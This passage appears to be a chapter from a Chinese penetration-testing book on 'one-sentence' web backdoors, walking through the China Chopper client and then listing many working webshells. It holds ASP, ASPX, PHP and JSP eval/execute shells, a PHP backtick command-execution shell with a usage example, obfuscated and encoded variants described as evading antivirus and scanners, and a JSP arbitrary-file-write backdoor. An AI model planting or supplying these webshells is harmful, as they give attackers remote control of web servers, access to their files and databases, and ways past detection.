1.15 一句话后门利用及操作
一句话后门是Web渗透中用得最多的一个必备工具,流行一句话后门分为Asp、Asp.net、Jsp和Php四种类型。一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作,在数据库表或者相应字段插入“<%execute request("pass")%>”、“<%eval request("pass")%>”、“<?php eval($_POST[pass])?>”、“<?php @eval($_ POST[pass])?>”、“<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>”等代码。然后通过中国菜刀、lake一句话后门客户端等工具进行连接。只需要知道上述代码被插入到的具体文件以及连接密码,即可进行WebShell的一些操作,它是基于B/S结构的架构。下面介绍如何利用中国菜刀(http://www.maicaidao.com)来进行一句话木马操作。
1.15.1 执行中国菜刀
中国菜刀英文名字“chopper”,可以到官方网站http://www.maicaidao.com进行下载,解压缩后直接运行chopper.exe即可,如图1-119所示,默认提供了http://www. maicaidao.com/server.asp、http://www.maicaidao.com/server.aspx、http://www.maicaidao.com/ server.php三种类型。
图1-119 执行中国菜刀
1.15.2 添加Shell
在中国菜刀中右键单击,在弹出的菜单中选择“添加”命令,即可添加Shell地址,如图1-120所示,在地址中输入一句话木马Shell地址,地址后面是一句话木马的连接密码,在配置中选择脚本类型,程序会自动识别脚本类型,最后单击“添加”按钮即可添加一个Shell地址。
图1-120 添加Shell
1.15.3 连接一句话后门
回到中国菜刀主界面,双击刚才添加到Shell地址,即可连接一句话后门,如图1-121所示,如果后门执行成功,则会网站的目录结构和详细文件等信息。
图1-121 连接一句话后门
1.15.4 执行文件操作
通过中国菜刀客户端可以方便地对文件进行操作,上传文件、下载文件、编辑、删除、复制、重命名、修改文件(夹)时间、新建和Access管理等操作。在中国菜刀中还可以对数据库进行管理,通过配置数据库用户名和用户密码等参数即可对数据库进行操作,如图1-122所示。
图1-122 执行文件操作
1.15.5 有关一句话后门的收集与整理
(1)php非一句话经典后门
php运行时如果遇见字符``(键盘上~符号的下挡键)总会尝试着执行“``”里面包含的命令,并返回命令执行的结果(string类型);其局限性在于特征码比较明显,“``”符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报,而且“``”里面不能执行php代码;
将以下代码保存为test.php
<?php echo `$_REQUEST[id]`; ?>
执行代码:
test.php?id=dir c:/ 即可查看C盘文件,id后的参数可以直接执行命令。
(2)加密的asp一句话后门
将以下代码保存为asp文件,或者将以下代码插入到asp文件中,然后通过“黑狐专用一句话木马加强版”进行连接,其密码为“#”,执行效果如图1-123所示。
<script language=vbs runat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) Function HextoStr(data) HextoStr="EXECUTE """"" C="&CHR(&H" N=")" Do While Len(data)>1 If IsNumeric(Left(data,1)) Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) End If Loop End Function </script> <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String. fromCharCode (116, 114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109, 40,39,35,39,41,43,39,39,41,125,99,97,116,99,104,40,101,41,123,125))</SCRIPt>
图1-123 使用加密的一句话木马
(3)新型一句话后门
<% Set o = Server.CreateObject("ScriptControl") o.language = "vbscript" o.addcode(Request("cmd")) %> (3)常见的asp一句话后门收集 asp一句话木马: <%%25Execute(request("a"))%%25> <%Execute(request("a"))%> %><%execute request("a")%><% <script language=VBScript runat=server>execute request("a")</script> <%25Execute(request("a"))%25> %><%execute request("yy")%> <%execute request(char(97))%> <%eval request(char(97))%> ":execute request("value"):a=" <script language=VBScript runat=server>if request(chr(35))<>"""" then ExecuteGlobal request(chr(35)) </script> 在数据库里插入的一句话木马 ┼攠數畣整爠煥敵瑳∨∣┩愾 ┼癥污爠煥敵瑳∨≡┩> 密码为: a utf-7的马 <%@ codepage=65000%> <% response.Charset="936"%> <%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%> Script Encoder 加密 <%@ LANGUAGE = VBScript.Encode %> <%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/ D`^4M`&Xb*oBMAAA==^#~@%> 可以躲过雷客图的一句话。 <% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""1""))") %> php一句话 <? php eval($_POST[cmd]);?> <?php eval($_POST[cmd]);?> <?php system($_REQUEST['cmd']);?> <?php eval($_POST[1]);?> aspx一句话 <script language="C#" runat="server"> WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); </script> JSP一句话后门 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter(" f"))).write(request.getParameter("t").getBytes()); %>